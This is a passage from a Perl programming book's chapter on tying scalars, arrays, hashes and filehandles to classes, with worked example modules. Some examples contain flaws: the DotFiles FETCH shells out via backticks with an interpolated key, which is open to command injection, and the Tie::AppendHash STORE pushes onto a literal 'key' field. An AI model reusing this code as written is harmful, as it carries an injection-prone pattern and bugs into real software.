You can tie a scalar, array, hash, or filehandle (via its typeglob) to any class that provides appropriately named methods to intercept and emulate normal accesses to those variables. The first of those methods is invoked at the point of the tie itself: tying a variable always invokes a constructor, which, if successful, returns an object that Perl squirrels away where you don't see it, down inside the "normal" variable. You can always retrieve that object later using the tied function on the normal variable:

tie VARIABLE, CLASSNAME, LIST;  # binds VARIABLE to CLASSNAME
$object = tied VARIABLE;
Those two lines are equivalent to:
$object = tie VARIABLE, CLASSNAME, LIST;
Once it's tied, you treat the normal variable normally, but each access automatically invokes methods on the underlying object; all the complexity of the class is hidden behind those method invocations. If later you want to break the association between the variable and the class, you can untie the variable:
untie VARIABLE;
You can almost think of tie as a funny kind of bless, except that it blesses a bare variable instead of an object reference. It also can take extra parameters, just as a constructor can--which is not terribly surprising, since it actually does invoke a constructor internally, whose name depends on which type of variable you're tying: either TIESCALAR, TIEARRAY, TIEHASH, or TIEHANDLE.[1] These constructors are invoked as class methods with the specified CLASSNAME as their invocant, plus any additional arguments you supplied in LIST. (The VARIABLE is not passed to the constructor.)

[1] Since the constructors have separate names, you could even provide a single class that implements all of them. That would allow you to tie scalars, arrays, hashes, and filehandles all to the same class, although this is not generally done, since it would make the other magical methods tricky to write.

These four constructors each return an object in the customary fashion. They don't really care whether they were invoked from tie, nor do any of the other methods in the class, since you can always invoke them directly if you'd like. In one sense, all the magic is in the tie, not in the class implementing the tie. It's just an ordinary class with funny method names, as far as the class is concerned. (Indeed, some tied modules provide extra methods that aren't visible through the tied variable; these methods must be called explicitly as you would any other object method. Such extra methods might provide services like file locking, transaction protection, or anything else an instance method might do.)

So these constructors bless and return an object reference just as any other constructor would. That reference need not refer to the same type of variable as the one being tied; it just has to be blessed, so that the tied variable can find its way back to your class for succor. For instance, our long TIEARRAY example will use a hash-based object, so it can conveniently hold additional information about the array it's emulating.

The tie function will not use or require a module for you--you must do that yourself explicitly, if necessary, before calling the tie. (On the other hand, the dbmopen function will, for backward compatibility, attempt to use one or another DBM implementation. But you can preempt its selection with an explicit use, provided the module you use is one of the modules in dbmopen's list of modules to try. See the online docs for the AnyDBM_File module for a fuller explanation.)

The methods called by a tied variable have predetermined names like FETCH and STORE, since they're invoked implicitly (that is, triggered by particular events) from within the innards of Perl. These names are in ALLCAPS, a convention we often follow for such implicitly called routines. (Other special names that follow this convention include BEGIN, CHECK, INIT, END, DESTROY, and AUTOLOAD, not to mention UNIVERSAL->VERSION. In fact, nearly all of Perl's predefined variables and filehandles are in uppercase: STDIN, SUPER, CORE, CORE::GLOBAL, DATA, @EXPORT, @INC, @ISA, @ARGV, and %ENV. Of course, built-in operators and pragmas go to the opposite extreme and have no capitals at all.)

The first thing we'll cover is extremely simple: how to tie a scalar variable.

14.1. Tying Scalars

To implement a tied scalar, a class must define the following methods: TIESCALAR, FETCH, and STORE (and possibly DESTROY). When you tie a scalar variable, Perl calls TIESCALAR. When you read the tied variable, it calls FETCH, and when you assign a value to the variable, it calls STORE. If you've kept the object returned by the initial tie (or if you retrieve it later using tied), you can access the underlying object yourself--this does not trigger its FETCH or STORE methods. As an object, it's not magical at all, but rather quite objective.

If a DESTROY method exists, Perl invokes it when the last reference to the tied object disappears, just as for any other object. That happens when your program ends or when you call untie, which eliminates the reference used by the tie. However, untie doesn't eliminate any outstanding references you might have stored elsewhere; DESTROY is deferred until those references are gone, too.

The Tie::Scalar and Tie::StdScalar packages, both found in the standard Tie::Scalar module, provide some simple base class definitions if you don't want to define all of these methods yourself. Tie::Scalar provides elemental methods that do very little, and Tie::StdScalar provides methods that make a tied scalar behave like a regular Perl scalar. (Which seems singularly useless, but sometimes you just want a bit of a wrapper around the ordinary scalar semantics, for example, to count the number of times a particular variable is set.)

Before we show you our elaborate example and complete description of all the mechanics, here's a taste just to whet your appetite--and to show you how easy it really is. Here's a complete program:

#!/usr/bin/perl
package Centsible;
sub TIESCALAR { bless \my $self, shift }
sub STORE { ${ $_[0] } = $_[1] }  # do the default thing
sub FETCH { sprintf "%.02f", ${ my $self = shift } } # round value

package main;
tie $bucks, "Centsible";
$bucks = 45.00;
$bucks *= 1.0715; # tax
$bucks *= 1.0715; # and double tax!
print "That will be $bucks, please.\n";
When run, that program produces:
That will be 51.67, please.
To see the difference it makes, comment out the call to tie; then you'll get:
That will be 51.66505125, please.
Admittedly, that's more work than you'd normally go through to round numbers.

14.1.1. Scalar-Tying Methods

Now that you've seen a sample of what's to come, let's develop a more elaborate scalar-tying class. Instead of using any canned package for the base class (especially since scalars are so simple), we'll look at each of the four methods in turn, building an example class named ScalarFile. Scalars tied to this class contain regular strings, and each such variable is implicitly associated with a file where that string is stored. (You might name your variables to remind you which file you're referring to.) Variables are tied to the class this way:

use ScalarFile;       # load ScalarFile.pm
tie $camel, "ScalarFile", "/tmp/camel.lot";
Once the variable has been tied, its previous contents are clobbered, and the internal connection between the variable and its object overrides the variable's normal semantics. When you ask for the value of $camel, it now reads the contents of /tmp/camel.lot, and when you assign a value to $camel, it writes the new contents out to /tmp/camel.lot, obliterating any previous occupants.

The tie is on the variable, not the value, so the tied nature of a variable does not propagate across assignment. For example, let's say you copy a variable that's been tied:

$dromedary = $camel;

Instead of reading the value in the ordinary fashion from the $camel scalar variable, Perl invokes the FETCH method on the associated underlying object. It's as though you'd written this:

$dromedary = (tied $camel)->FETCH():
Or if you remember the object returned by tie, you could use that reference directly, as in the following sample code:
$clot = tie $camel, "ScalarFile", "/tmp/camel.lot";
$dromedary = $camel;          # through the implicit interface
$dromedary = $clot->FETCH();  # same thing, but explicitly
If the class provides methods besides TIESCALAR, FETCH, STORE, and DESTROY, you could use $clot to invoke them manually. However, one normally minds one's own business and leaves the underlying object alone, which is why you often see the return value from tie ignored. You can still get at the object via tied if you need it later (for example, if the class happens to document any extra methods you need). Ignoring the returned object also eliminates certain kinds of errors, which we'll cover later.

Here's the preamble of our class, which we will put into ScalarFile.pm:

package ScalarFile;
use Carp;                # Propagate error messages nicely.
use strict;              # Enforce some discipline on ourselves.
use warnings;            # Turn on lexically scoped warnings.
use warnings::register;  # Allow user to say "use warnings 'ScalarFile'".
my $count = 0;           # Internal count of tied ScalarFiles.
The standard Carp module exports the carp, croak, and confess subroutines, which we'll use in the code later in this section. As usual, see Chapter 32, "Standard Modules", or the online docs for more about Carp.

The following methods are defined by the class.

CLASSNAME->TIESCALAR(LIST)

The TIESCALAR method of the class is triggered whenever you tie a scalar variable. The optional LIST contains any parameters needed to initialize the object properly. (In our example, there is only one parameter: the name of the file.) The method should return an object, but this doesn't have to be a reference to a scalar. In our example, though, it is.

sub TIESCALAR {           # in ScalarFile.pm
    my $class    = shift;
    my $filename = shift;
    $count++;             # A file-scoped lexical, private to class.
    return bless \$filename, $class;
}
Since there's no scalar equivalent to the anonymous array and hash composers, [] and {}, we merely bless a lexical variable's referent, which effectively becomes anonymous as soon as the name goes out of scope. This works fine (you could do the same thing with arrays and hashes) as long as the variable really is lexical. If you try this trick on a global, you might think you're getting away with it, until you try to create another camel.lot. Don't be tempted to write something like this:
sub TIESCALAR { bless \$_[1], $_[0] }    # WRONG, could refer to global.
A more robustly written constructor might check that the filename is accessible. We check first to see if the file is readable, since we don't want to clobber the existing value. (In other words, we shouldn't assume the user is going to write first. They might be treasuring their old Camel Lot file from a previous run of the program.) If we can't open or create the filename specified, we'll indicate the error gently by returning undef and optionally printing a warning via carp. (We could just croak instead--it's a matter of taste whether you prefer fish or frogs.) We'll use the warnings pragma to determine whether the user is interested in our warning:
sub TIESCALAR {           # in ScalarFile.pm
    my $class    = shift;
    my $filename = shift;
    my $fh;
    if (open $fh, "<", $filename or
        open $fh, ">", $filename)
    {
        close $fh;
        $count++;
        return bless \$filename, $class;
    }
    carp "Can't tie $filename: $!" if warnings::enabled();
    return;
}
Given such a constructor, we can now associate the scalar $string with the file camel.lot:

tie ($string, "ScalarFile", "camel.lot") or die;

(We're still assuming some things we shouldn't. In a production version of this, we'd probably open the filehandle once and remember the filehandle as well as the filename for the duration of the tie, keeping the handle exclusively locked with flock the whole time. Otherwise we're open to race conditions--see "Timing Glitches" in Chapter 23, "Security".)

SELF->FETCH

This method is invoked whenever you access the tied variable (that is, read its value). It takes no arguments beyond the object tied to the variable. In our example, that object contains the filename.

sub FETCH {
    my $self  = shift;
    confess "I am not a class method" unless ref $self;
    return unless open my $fh, $$self;
    read($fh, my $value, -s $fh);  # NB: don't use -s on pipes!
    return $value;
}
This time we've decided to blow up (raise an exception) if FETCH gets something other than a reference. (Either it was invoked as a class method, or someone miscalled it as a subroutine.) There's no other way for us to return an error, so it's probably the right thing to do. In fact, Perl would have raised an exception in any event as soon as we tried to dereference $self; we're just being polite and using confess to spew a complete stack backtrace onto the user's screen. (If that can be considered polite.)

We can now see the contents of camel.lot when we say this:

tie($string, "ScalarFile", "camel.lot");
print $string;

SELF->STORE(VALUE)

This method is run when the tied variable is set (assigned). The first argument, SELF, is as always the object associated with the variable; VALUE is whatever was assigned to the variable. (We use the term "assigned" loosely--any operation that modifies the variable can call STORE.)

sub STORE {
    my($self,$value) = @_;
    ref $self                   or confess "not a class method";
    open my $fh, ">", $$self    or croak "can't clobber $$self: $!";
    syswrite($fh, $value) == length $value
                                or croak "can't write to $$self: $!";
    close $fh                   or croak "can't close $$self: $!";
    return $value;
}
After "assigning" it, we return the new value--because that's what assignment does. If the assignment wasn't successful, we croak out the error. Possible causes might be that we didn't have permission to write to the associated file, or the disk filled up, or gremlins infested the disk controller. Sometimes you control the magic, and sometimes the magic controls you.

We can now write to camel.lot when we say this:

tie($string, "ScalarFile", "camel.lot");
$string  = "Here is the first line of camel.lot\n";
$string .= "And here is another line, automatically appended.\n";

SELF->DESTROY

This method is triggered when the object associated with the tied variable is about to be garbage collected, in case it needs to do something special to clean up after itself. As with other classes, such a method is seldom necessary, since Perl deallocates the moribund object's memory for you automatically. Here, we'll define a DESTROY method that decrements our count of tied files:

sub DESTROY {
    my $self = shift;
    confess "wrong type" unless ref $self;
    $count--;
}
We might then also supply an extra class method to retrieve the current count. Actually, it doesn't care whether it's called as a class method or an object method, but you don't have an object anymore after the DESTROY, now do you?
sub count {
    # my $invocant = shift;
    $count;
}
You can call this as a class method at any time like this:
if (ScalarFile->count) {
    warn "Still some tied ScalarFiles sitting around somewhere...\n";
}

That's about all there is to it. Actually, it's more than all there is to it, since we've done a few nice things here for the sake of completeness, robustness, and general aesthetics (or lack thereof). Simpler TIESCALAR classes are certainly possible.

14.1.2. Magical Counter Variables

Here's a simple Tie::Counter class, inspired by the CPAN module of the same name. Variables tied to this class increment themselves by 1 every time they're used. For example:

tie my $counter, "Tie::Counter", 100;
@array = qw /Red Green Blue/;
for my $color (@array) {               # Prints:
    print "  $counter  $color\n";      #   100  Red
}                                      #   101  Green
                                       #   102  Blue
The constructor takes as an optional extra argument the first value of the counter, which defaults to 0. Assigning to the counter will set a new value. Here's the class:
package Tie::Counter;
sub FETCH     { ++ ${ $_[0] } }
sub STORE     { ${ $_[0] } = $_[1] }
sub TIESCALAR {
    my ($class, $value) = @_;
    $value = 0 unless defined $value;
    bless \$value => $class;
}
1;  # if in module
See how small that is? It doesn't take much code to put together a class like this.

14.1.3. Magically Banishing $_

This curiously exotic tie class is used to outlaw unlocalized uses of $_. Instead of pulling in the module with use, which invokes the class's import method, this module should be loaded with no to call the seldom-used unimport method. The user says:

no Underscore;
And then all uses of $_ as an unlocalized global raise an exception.

Here's a little test suite for the module:

#!/usr/bin/perl
no Underscore;
@tests = (
    "Assignment"  => sub { $_ = "Bad" },
    "Reading"     => sub { print },
    "Matching"    => sub { $x = /badness/ },
    "Chop"        => sub { chop },
    "Filetest"    => sub { -x },
    "Nesting"     => sub { for (1..3) { print } },
);

while ( ($name, $code) = splice(@tests, 0, 2) ) {
    print "Testing $name: ";
    eval { &$code };
    print $@ ? "detected" : " missed!";
    print "\n";
}
which prints out the following:
Testing Assignment: detected
Testing Reading: detected
Testing Matching: detected
Testing Chop: detected
Testing Filetest: detected
Testing Nesting: 123 missed!
The last one was "missed" because it was properly localized by the for loop and thus safe to access.

Here's the curiously exotic Underscore module itself. (Did we mention that it's curiously exotic?) It works because tied magic is effectively hidden by a local. The module does the tie in its own initialization code so that a require also works.

package Underscore;
use Carp;
sub TIESCALAR { bless \my $dummy => shift }
sub FETCH { croak 'Read access to $_ forbidden'  }
sub STORE { croak 'Write access to $_ forbidden' }
sub unimport { tie($_, __PACKAGE__) }
sub import   { untie $_ }
tie($_, __PACKAGE__) unless tied $_;
1;
It's hard to usefully mix calls to use and no for this class in your program, because they all happen at compile time, not run time. You could call Underscore->import and Underscore->unimport directly, just as use and no do. Normally, though, to renege and let yourself freely use $_ again, you'd just use local on it, which is the whole point.

Previous | Home | Next
13.10. Overloading Diagnostics | Book Index | 14.2. Tying Arrays
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tying Arrays (Programming Perl)

 Book Home Programming PerlSearch this book

14.2. Tying Arrays

A class implementing a tied array must define at least the methods TIEARRAY, FETCH, and STORE. There are many optional methods: the ubiquitous DESTROY method, of course, but also the STORESIZE and FETCHSIZE methods used to provide $#array and scalar(@array) access. In addition, CLEAR is triggered when Perl needs to empty the array, and EXTEND when Perl would have pre-extended allocation in a real array.

You may also define the POP, PUSH, SHIFT, UNSHIFT, SPLICE, DELETE, and EXISTS methods if you want the corresponding Perl functions to work on the tied array. The Tie::Array class can serve as a base class to implement the first five of those functions in terms of FETCH and STORE. (Tie::Array's default implementation of DELETE and EXISTS simply calls croak.) As long as you define FETCH and STORE, it doesn't matter what kind of data structure your object contains.

On the other hand, the Tie::StdArray class (defined in the standard Tie::Array module) provides a base class with default methods that assume the object contains a regular array. Here's a simple array-tying class that makes use of this. Because it uses Tie::StdArray as its base class, it only needs to define the methods that should be treated in a nonstandard way.

#!/usr/bin/perl
package ClockArray;
use Tie::Array;
our @ISA = 'Tie::StdArray';
sub FETCH {
    my($self,$place) = @_;
    $self->[ $place % 12 ];
}
sub STORE {
    my($self,$place,$value) = @_;
    $self->[ $place % 12 ] = $value;
}

package main;
tie my @array, 'ClockArray';
@array = ( "a" ... "z" );
print "@array\n";
When run, the program prints out "y z o p q r s t u v w x". This class provides an array with only a dozen slots, like hours of a clock, numbered 0 through 11. If you ask for the 15th array index, you really get the 3rd one. Think of it as a travel aid for people who haven't learned how to read 24-hour clocks.

14.2.1. Array-Tying Methods

That's the simple way. Now for some nitty-gritty details. To demonstrate, we'll implement an array whose bounds are fixed at its creation. If you try to access anything beyond those bounds, an exception is raised. For example:

use BoundedArray;
tie @array, "BoundedArray", 2;

$array[0] = "fine";
$array[1] = "good";
$array[2] = "great";
$array[3] = "whoa";   # Prohibited; displays an error message.
The preamble code for the class is as follows:
package BoundedArray;
use Carp;
use strict;
To avoid having to define SPLICE later, we'll inherit from the Tie::Array class:
use Tie::Array;
our @ISA = ("Tie::Array");

CLASSNAME->TIEARRAY(LIST)

As the constructor for the class, TIEARRAY should return a blessed reference through which the tied array will be emulated.

In this next example, just to show you that you don't really have to return an array reference, we'll choose a hash reference to represent our object. A hash works out well as a generic record type: the value in the hash's "BOUND" key will store the maximum bound allowed, and its "DATA" value will hold the actual data. If someone outside the class tries to dereference the object returned (doubtless thinking it an array reference), an exception is raised.

sub TIEARRAY {
    my $class = shift;
    my $bound = shift;
    confess "usage: tie(\@ary, 'BoundedArray', max_subscript)"
        if @_ || $bound =~ /\D/;
    return bless { BOUND => $bound, DATA => [] }, $class;
}
We can now say:
tie(@array, "BoundedArray", 3);  # maximum allowable index is 3
to ensure that the array will never have more than four elements. Whenever an individual element of the array is accessed or stored, FETCH and STORE will be called just as they were for scalars, but with an extra index argument.

SELF->FETCH(INDEX)

This method is run whenever an individual element in the tied array is accessed. It receives one argument after the object: the index of the value we're trying to fetch.

sub FETCH {
    my ($self, $index) = @_;
    if ($index > $self->{BOUND}) {
        confess "Array OOB: $index > $self->{BOUND}";
    }
    return $self->{DATA}[$index];
}

SELF->STORE(INDEX, VALUE)

This method is invoked whenever an element in the tied array is set. It takes two arguments after the object: the index at which we're trying to store something and the value we're trying to put there. For example:

sub STORE {
    my($self, $index, $value) = @_;
    if ($index > $self->{BOUND} ) {
        confess "Array OOB: $index > $self->{BOUND}";
    }
    return $self->{DATA}[$index] = $value;
}

SELF->DESTROY

Perl calls this method when the tied variable needs to be destroyed and its memory reclaimed. This is almost never needed in a language with garbage collection, so for this example we'll just leave it out.

SELF->FETCHSIZE

The FETCHSIZE method should return the total number of items in the tied array associated with SELF. It's equivalent to scalar(@array), which is usually equal to $#array + 1.

sub FETCHSIZE {
    my $self = shift;
    return scalar @{$self->{DATA}};
}

SELF->STORESIZE(COUNT)

This method sets the total number of items in the tied array associated with SELF to be COUNT. If the array shrinks, you should remove entries beyond COUNT. If the array grows, you should make sure the new positions are undefined. For our BoundedArray class, we also ensure that the array doesn't grow beyond the limit initially set.

sub STORESIZE {
    my ($self, $count) = @_;
    if ($count > $self->{BOUND}) {
        confess "Array OOB: $count > $self->{BOUND}";
    }
    $#{$self->{DATA}} = $count;
}

SELF->EXTEND(COUNT)

Perl uses the EXTEND method to indicate that the array is likely to expand to hold COUNT entries. That way you can can allocate memory in one big chunk instead of in many successive calls later on. Since our BoundedArrays have fixed upper bounds, we won't define this method.

SELF->EXISTS(INDEX)

This method verifies that the element at INDEX exists in the tied array. For our BoundedArray, we just employ Perl's built-in exists after verifying that it's not an attempt to look past the fixed upper bound.

sub EXISTS  {
    my ($self, $index) = @_;
    if ($index > $self->{BOUND}) {
        confess "Array OOB: $index > $self->{BOUND}";
    }
    exists $self->{DATA}[$index];
}

SELF->DELETE(INDEX)

The DELETE method removes the element at INDEX from the tied array SELF. For our BoundedArray class, the method looks nearly identical to EXISTS, but this is not the norm.

sub DELETE {
    my ($self, $index) = @_;
    print STDERR "deleting!\n";
    if ($index > $self->{BOUND}) {
        confess "Array OOB: $index > $self->{BOUND}";
    }
    delete $self->{DATA}[$index];
}

SELF->CLEAR

This method is called whenever the array has to be emptied. That happens when the array is set to a list of new values (or an empty list), but not when it's provided to the undef function. Since a cleared BoundedArray always satisfies the upper bound, we don't need check anything here:

sub CLEAR {
    my $self = shift;
    $self->{DATA} = [];
}
If you set the array to a list, CLEAR will trigger but won't see the list values. So if you violate the upper bound like so:
tie(@array, "BoundedArray", 2);
@array = (1, 2, 3, 4);
the CLEAR method will still return successfully. The exception will only be raised on the subsequent STORE. The assignment triggers one CLEAR and four STOREs.

SELF->PUSH(LIST)

This method appends the elements of LIST to the array. Here's how it might look for our BoundedArray class:

sub PUSH    {
    my $self = shift;
    if (@_ + $#{$self->{DATA}} > $self->{BOUND}) {
        confess "Attempt to push too many elements";
    }
    push @{$self->{DATA}}, @_;
}

SELF->UNSHIFT(LIST)

This method prepends the elements of LIST to the array. For our BoundedArray class, the subroutine would be similar to PUSH.

SELF->POP

The POP method removes the last element of the array and returns it. For BoundedArray, it's a one-liner:

sub POP { my $self = shift; pop @{$self->{DATA}} }

SELF->SHIFT

The SHIFT method removes the first element of the array and returns it. For BoundedArray, it's similar to POP.

SELF->SPLICE(OFFSET, LENGTH, LIST)

This method lets you splice the SELF array. To mimic Perl's built-in splice, OFFSET should be optional and default to zero, with negative values counting back from the end of the array. LENGTH should also be optional, defaulting to rest of the array. LIST can be empty. If it's properly mimicking the built-in, the method will return a list of the original LENGTH elements at OFFSET (that is, the list of elements to be replaced by LIST).

Since splicing is a somewhat complicated operation, we won't define it at all; we'll just use the SPLICE subroutine from the Tie::Array module that we got for free when we inherited from Tie::Array. This way we define SPLICE in terms of other BoundedArray methods, so the bounds checking will still occur.

That completes our BoundedArray class. It warps the semantics of arrays just a little. But we can do better, and in very much less space.

14.2.2. Notational Convenience

One of the nice things about variables is that they interpolate. One of the not-so-nice things about functions is that they don't. You can use a tied array to make a function that can be interpolated. Suppose you want to interpolate random integers in a string. You can just say:

#!/usr/bin/perl
package RandInterp;
sub TIEARRAY { bless \my $self };
sub FETCH { int rand $_[1] };

package main;
tie @rand, "RandInterp";

for (1,10,100,1000) {
    print "A random integer less than $_ would be $rand[$_]\n";
}
$rand[32] = 5;    # Will this reformat our system disk?
When run, this prints:
A random integer less than 1 would be 0
A random integer less than 10 would be 3
A random integer less than 100 would be 46
A random integer less than 1000 would be 755
Can't locate object method "STORE" via package "RandInterp" at foo line 10.
As you can see, it's no big deal that we didn't even implement STORE. It just blows up like normal.

Previous | Home | Next
14.1. Tying Scalars | Book Index | 14.3. Tying Hashes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tying Hashes (Programming Perl)

 Book Home Programming PerlSearch this book

14.3. Tying Hashes

A class implementing a tied hash should define eight methods. TIEHASH constructs new objects. FETCH and STORE access the key/value pairs. EXISTS reports whether a key is present in the hash, and DELETE removes a key along with its associated value.[2] CLEAR empties the hash by deleting all key/value pairs. FIRSTKEY and NEXTKEY iterate over the key/value pairs when you call keys, values, or each. And as usual, if you want to perform particular actions when the object is deallocated, you may define a DESTROY method. (If this seems like a lot of methods, you didn't read the last section on arrays attentively. In any event, feel free to inherit the default methods from the standard Tie::Hash module, redefining only the interesting ones. Again, Tie::StdHash assumes the implementation is also a hash.)

[2] Remember that Perl distinguishes between a key not existing in the hash and a key existing in the hash but having a corresponding value of undef. The two possibilities can be tested with exists and defined, respectively.

For example, suppose you want to create a hash where every time you assign a value to a key, instead of overwriting the previous contents, the new value is appended to an array of values. That way when you say:

$h{$k} = "one";
$h{$k} = "two";
It really does:
push @{ $h{$k} }, "one";
push @{ $h{$k} }, "two";
That's not a very complicated idea, so you should be able to use a pretty simple module. Using Tie::StdHash as a base class, it is. Here's a Tie::AppendHash that does just that:
package Tie::AppendHash;
use Tie::Hash;
our @ISA = ("Tie::StdHash");
sub STORE {
    my ($self, $key, $value) = @_;
    push @{$self->{key}}, $value;
}
1;

14.3.1. Hash-Tying Methods

Here's an example of an interesting tied-hash class: it gives you a hash representing a particular user's dot files (that is, files whose names begin with a period, which is a naming convention for initialization files under Unix). You index into the hash with the name of the file (minus the period) and get back that dot file's contents. For example:

use DotFiles;
tie %dot, "DotFiles";
if ( $dot{profile} =~ /MANPATH/ or
     $dot{login}   =~ /MANPATH/ or
     $dot{cshrc}   =~ /MANPATH/    ) {
    print "you seem to set your MANPATH\n";
}
Here's another way to use our tied class:
# Third argument is the name of a user whose dot files we will tie to.
tie %him, "DotFiles", "daemon";
foreach $f (keys %him) {
    printf "daemon dot file %s is size %d\n", $f, length $him{$f};
}
In our DotFiles example we implement the object as a regular hash containing several important fields, of which only the {CONTENTS} field will contain what the user thinks of as the hash. Here are the object's actual fields:

Field | Contents
USER | Whose dot files this object represents.
HOME | Where those dot files live.
CLOBBER | Whether we are allowed to change or remove those dot files.
CONTENTS | The hash of dot file names and content mappings.

Here's the start of DotFiles.pm:

package DotFiles;
use Carp;
sub whowasi { (caller(1))[3] . "()" }
my $DEBUG = 0;
sub debug { $DEBUG = @_ ? shift : 1 }
For our example, we want to be able to turn on debugging output to help in tracing during development, so we set up $DEBUG for that. We also keep one convenience function around internally to help print out warnings: whowasi returns the name of the function that called the current function (whowasi's "grandparent" function).

Here are the methods for the DotFiles tied hash:

CLASSNAME->TIEHASH(LIST)

Here's the DotFiles constructor:

sub TIEHASH {
    my $self   = shift;
    my $user   = shift || $>;
    my $dotdir = shift || "";

    croak "usage: @{[ &whowasi ]} [USER [DOTDIR]]" if @_;

    $user = getpwuid($user) if $user =~ /^\d+$/;
    my $dir = (getpwnam($user))[7]
            or croak "@{ [&whowasi] }: no user $user";
    $dir .= "/$dotdir" if $dotdir;

    my $node = {
        USER        => $user,
        HOME        => $dir,
        CONTENTS    => {},
        CLOBBER     => 0,
    };

    opendir DIR, $dir
            or croak "@{[&whowasi]}: can't opendir $dir: $!";
    for my $dot ( grep /^\./ && -f "$dir/$_", readdir(DIR)) {
        $dot =~ s/^\.//;
        $node->{CONTENTS}{$dot} = undef;
    }
    closedir DIR;

    return bless $node, $self;
}
It's probably worth mentioning that if you're going to apply file tests to the values returned by the above readdir, you'd better prepend the directory in question (as we do). Otherwise, since no chdir was done, you'd likely be testing the wrong file.

SELF->FETCH(KEY)

This method implements reading an element from the tied hash. It takes one argument after the object: the key whose value we're trying to fetch. The key is a string, and you can do anything you like with it (consistent with its being a string).

Here's the fetch for our DotFiles example:

sub FETCH {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot = shift;
    my $dir = $self->{HOME};
    my $file = "$dir/.$dot";

    unless (exists $self->{CONTENTS}->{$dot} || -f $file) {
        carp "@{[&whowasi]}: no $dot file" if $DEBUG;
        return undef;
    }

    # Implement a cache.
    if (defined $self->{CONTENTS}->{$dot}) {
        return $self->{CONTENTS}->{$dot};
    } else {
        return $self->{CONTENTS}->{$dot} = `cat $dir/.$dot`;
    }
}
We cheated a little by running the Unix cat(1) command, but it would be more portable (and more efficient) to open the file ourselves. On the other hand, since dotfiles are a Unixy concept, we're not that concerned. Or shouldn't be. Or something...

SELF->STORE(KEY, VALUE)

This method does the dirty work whenever an element in the tied hash is set (written). It takes two arguments after the object: the key under which we're storing the new value, and the value itself.

For our DotFiles example, we won't let users overwrite a file without first invoking the clobber method on the original object returned by tie:

sub STORE {
    carp &whowasi if $DEBUG;
    my $self  = shift;
    my $dot   = shift;
    my $value = shift;
    my $file  = $self->{HOME} . "/.$dot";

    croak "@{[&whowasi]}: $file not clobberable"
        unless $self->{CLOBBER};

    open(F, "> $file") or croak "can't open $file: $!";
    print F $value;
    close(F);
}
If someone wants to clobber something, they can say:
$ob = tie %daemon_dots, "daemon";
$ob->clobber(1);
$daemon_dots{signature} = "A true daemon\n";
But they could alternatively set {CLOBBER} with tied:
tie %daemon_dots, "DotFiles", "daemon";
tied(%daemon_dots)->clobber(1);
or as one statement:
(tie %daemon_dots, "DotFiles", "daemon")->clobber(1);
The clobber method is simply:
sub clobber {
    my $self = shift;
    $self->{CLOBBER} = @_ ? shift : 1;
}

SELF->DELETE(KEY)

This method handles requests to remove an element from the hash. If your emulated hash uses a real hash somewhere, you can just call the real delete. Again, we'll be careful to check whether the user really wants to clobber files:

sub DELETE   {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot = shift;
    my $file = $self->{HOME} . "/.$dot";
    croak "@{[&whowasi]}: won't remove file $file"
        unless $self->{CLOBBER};
    delete $self->{CONTENTS}->{$dot};
    unlink $file or carp "@{[&whowasi]}: can't unlink $file: $!";
}

SELF->CLEAR

This method is run when the whole hash needs to be cleared, usually by assigning the empty list to it. In our example, that would remove all the user's dot files! It's such a dangerous thing that we'll require CLOBBER to be set higher than 1 before this can happen:

sub CLEAR {
    carp &whowasi if $DEBUG;
    my $self = shift;
    croak "@{[&whowasi]}: won't remove all dotfiles for $self->{USER}"
        unless $self->{CLOBBER} > 1;
    for my $dot ( keys %{$self->{CONTENTS}}) {
        $self->DELETE($dot);
    }
}

SELF->EXISTS(KEY)

This method runs when the user invokes the exists function on a particular hash. In our example, we'll look at the {CONTENTS} hash element to find the answer:

sub EXISTS   {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot  = shift;
    return exists $self->{CONTENTS}->{$dot};
}

SELF->FIRSTKEY

This method is called when the user begins to iterate through the hash, such as with a keys, values, or each call. By calling keys in a scalar context, we reset its internal state to ensure that the next each used in the return statement will get the first key.

sub FIRSTKEY {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $temp = keys %{$self->{CONTENTS}};
    return scalar each %{$self->{CONTENTS}};
}

SELF->NEXTKEY(PREVKEY)

This method is the iterator for a keys, values, or each function. PREVKEY is the last key accessed, which Perl knows to supply. This is useful if the NEXTKEY method needs to know its previous state to calculate the next state.

For our example, we are using a real hash to represent the tied hash's data, except that this hash is stored in the hash's CONTENTS field instead of in the hash itself. So we can just rely on Perl's each iterator:

sub NEXTKEY  {
    carp &whowasi if $DEBUG;
    my $self = shift;
    return scalar each %{ $self->{CONTENTS} }
}

SELF->DESTROY

This method is triggered when a tied hash's object is about to be deallocated. You don't really need it except for debugging and extra cleanup. Here's a very simple version:

sub DESTROY  {
    carp &whowasi if $DEBUG;
}

Now that we've given you all those methods, your homework is to go back and find the places we interpolated @{[&whowasi]} and replace them with a simple tied scalar named $whowasi that does the same thing.

Previous | Home | Next
14.2. Tying Arrays | Book Index | 14.4. Tying Filehandles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tying Filehandles (Programming Perl)

 Book Home Programming PerlSearch this book

14.4. Tying Filehandles

A class implementing a tied filehandle should define the following methods: TIEHANDLE and at least one of PRINT, PRINTF, WRITE, READLINE, GETC, and READ. The class can also provide a DESTROY method, and BINMODE, OPEN, CLOSE, EOF, FILENO, SEEK, TELL, READ, and WRITE methods to enable the corresponding Perl built-ins for the tied filehandle. (Well, that isn't quite true: WRITE corresponds to syswrite and has nothing to do with Perl's built-in write function for printing with format declarations.)

Tied filehandles are especially useful when Perl is embedded in another program (such as Apache or vi) and output to STDOUT or STDERR needs to be redirected in some special way.

But filehandles don't actually have to be tied to a file at all. You can use output statements to build up an in-memory data structure and input statements to read them back in. Here's an easy way to reverse a sequence of print and printf statements without reversing the individual lines:

package ReversePrint;
use strict;
sub TIEHANDLE {
    my $class = shift;
    bless [], $class;
}
sub PRINT {
    my $self = shift;
    push @$self, join '', @_;
}
sub PRINTF {
    my $self = shift;
    my $fmt = shift;
    push @$self, sprintf $fmt, @_;
}
sub READLINE {
    my $self = shift;
    pop @$self;
}

package main;
my $m = "--MORE--\n";
tie *REV, "ReversePrint";

# Do some prints and printfs.
print REV "The fox is now dead.$m";

printf REV <<"END", int rand 10000000;
The quick brown fox jumps over
over the lazy dog %d times!
END

print REV <<"END";
The quick brown fox jumps
over the lazy dog.
END

# Now read back from the same handle.
